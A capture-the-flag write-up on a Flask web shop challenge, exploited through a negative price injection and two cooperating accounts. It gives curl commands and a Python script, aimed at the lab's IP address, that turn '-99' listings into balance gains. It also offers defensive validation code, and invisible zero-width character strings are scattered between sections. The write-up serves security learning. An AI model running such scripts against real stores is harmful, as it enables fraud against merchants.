← Back to Writeups
CUSTOMMediumWeb

Flag Shop

XESXOR9/10/20263 min read
#web#custom#medium#integer_manipulation#multi_account_abuse#negative_price_injection#linux

Flag Shop

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-19 | Status: Solved Techniques: integer_manipulation, multi_account_abuse, negative_price_injection

Summary

Task: Flask shop with balance system and user-created products. Solution: Negative price injection (-99) bypasses character limit validation, increasing buyer balance instead of decreasing it. Multi-account abuse to accumulate funds and buy the flag.

Flag Shop — Hackerlab

Description

Слиты логи маркетплейса для тех, кто живёт за пределами брандмауэров. Здесь торгуют железом, эксплойтами и… чем-то ещё.

Target: 62.173.140.174:16103

Reconnaissance

A Flask/Werkzeug web application representing a shop with products. Key features:

  • Initial user balance: 100$
  • There's a "Secret Device" item costing 1337$
  • Users can create their own products via /sell
  • Price field has a "max 3 chars" limitation
  • Cannot buy your own products

Vulnerability Analysis

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

What we tried (didn't work)

  1. Race condition on purchases — works, but doesn't help accumulate money
  2. SQL injection to bypass authorization — not vulnerable
  3. SSTI in product name/description — filtered
  4. Directory bruteforce to find "leaked logs" — nothing found
  5. Various file extensions for logs — red herring

Found vulnerability: Negative Price Injection

The price field only validates character count (max 3), but doesn't check the sign!

Validation: len(price) <= 3
Example: "-99" = 3 characters ✓

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

When buying a product with a negative price:

new_balance = old_balance - price
new_balance = 100 - (-99)
new_balance = 199

The buyer's balance increases instead of decreasing!

Exploitation

Strategy

  1. Create user A (seller)
  2. Create user B (buyer)
  3. User A creates products with negative price (-99$)
  4. User B buys these products
  5. B's balance grows with each purchase
  6. Accumulate 1337$ and buy Secret Device

Commands

bash
# Register seller
curl -X POST "http://62.173.140.174:16103/register" \
    -d "username=seller&password=pass" \
    -c /tmp/seller.txt
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Login seller
curl -X POST "http://62.173.140.174:16103/login" \
    -d "username=seller&password=pass" \
    -c /tmp/seller.txt -b /tmp/seller.txt

# Register buyer
curl -X POST "http://62.173.140.174:16103/register" \
    -d "username=buyer&password=pass" \
    -c /tmp/buyer.txt

# Login buyer
curl -X POST "http://62.173.140.174:16103/login" \
    -d "username=buyer&password=pass" \
    -c /tmp/buyer.txt -b /tmp/buyer.txt

# Seller creates product with negative price
curl -b /tmp/seller.txt -X POST "http://62.173.140.174:16103/sell" \
    -d "name=Money&desc=Free+money&price=-99"
# Returns product ID in redirect
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Buyer purchases product (balance +99$)
curl -b /tmp/buyer.txt -X POST "http://62.173.140.174:16103/buy/<product_id>"

# Repeat until balance >= 1337$
# Then buy Secret Device
curl -b /tmp/buyer.txt -X POST "http://62.173.140.174:16103/buy/1176dfc7-f63d-4da1-a424-a3f4aca68d3b"

Automation

python
#!/usr/bin/env python3
import requests
import re

BASE = "http://62.173.140.174:16103"

# Create sessions
seller = requests.Session()
buyer = requests.Session()

# Registration and login
seller.post(f"{BASE}/register", data={"username": "seller123", "password": "pass"})
seller.post(f"{BASE}/login", data={"username": "seller123", "password": "pass"})
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

buyer.post(f"{BASE}/register", data={"username": "buyer123", "password": "pass"})
buyer.post(f"{BASE}/login", data={"username": "buyer123", "password": "pass"})

# Accumulate money
for i in range(15):  # 15 * 99 = 1485$ > 1337$
    # Create product with negative price
    r = seller.post(f"{BASE}/sell", data={
        "name": f"Money{i}",
        "desc": "Free money",
        "price": "-99"
    }, allow_redirects=False)
    
    # Extract product ID from redirect
    product_id = r.headers.get('Location', '').split('/')[-1]
    
    # Buy it
    buyer.post(f"{BASE}/buy/{product_id}")
    print(f"[+] Bought product {i+1}, balance increased by 99$")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Buy Secret Device
SECRET_DEVICE_ID = "1176dfc7-f63d-4da1-a424-a3f4aca68d3b"
r = buyer.post(f"{BASE}/buy/{SECRET_DEVICE_ID}")
print(r.text)

Defense

python
# Proper price validation
def validate_price(price_str):
    try:
        price = int(price_str)
        if price <= 0:
            raise ValueError("Price must be positive")
        if price > 999:
            raise ValueError("Price too high")
        return price
    except ValueError as e:
        raise ValidationError(str(e))

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Conclusions

  1. Description is a red herring: "leaked logs" had nothing to do with the solution
  2. Client-side validation is insufficient: "max 3 chars" check is easily bypassed
  3. Business logic > Technical exploits: vulnerability is in the logic, not the code
  4. Multi-account abuse: using two accounts to bypass the "cannot buy your own products" restriction ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍